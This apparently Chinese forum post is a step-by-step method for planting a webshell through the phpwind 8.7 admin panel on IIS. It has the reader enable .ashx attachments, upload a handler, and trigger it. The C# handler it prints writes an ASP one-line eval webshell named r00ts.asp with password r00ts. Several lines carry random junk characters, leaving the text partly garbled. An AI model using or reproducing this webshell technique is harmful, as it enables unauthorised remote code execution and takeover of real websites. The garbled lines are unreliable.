phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

4 K4 G4 P5 _. A, m  t3 q然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

: {7 v# d$ [9 a打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

* `  h( k: l$ w" s- d) v8 f0 W下面是代码:
  `# e2 i- C+ p2 p  u
* L0 ?* ?9 Q( v/ l/ v1 [# f<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
" X/ W8 n$ }2 j# B, A; ]public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
1 U7 b& y- p; }  @8 _; rfile1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
6 Z; l3 y% b6 p5 V$ @/ G- dfile1.Close();
8 w9 @- A4 Z8 N+ M2 V! [}
7 ?& s- Q; D2 d0 J* V5 k" A0 dpublic bool IsReusable {
# I8 [4 a* q+ S0 k0 z, ?3 yget {
return false;
/ H! Z$ L) O5 i* i}
" @7 r0 D1 F& i6 _! ^, Y}
5 ^( d6 @1 v1 P; h5 p/ V}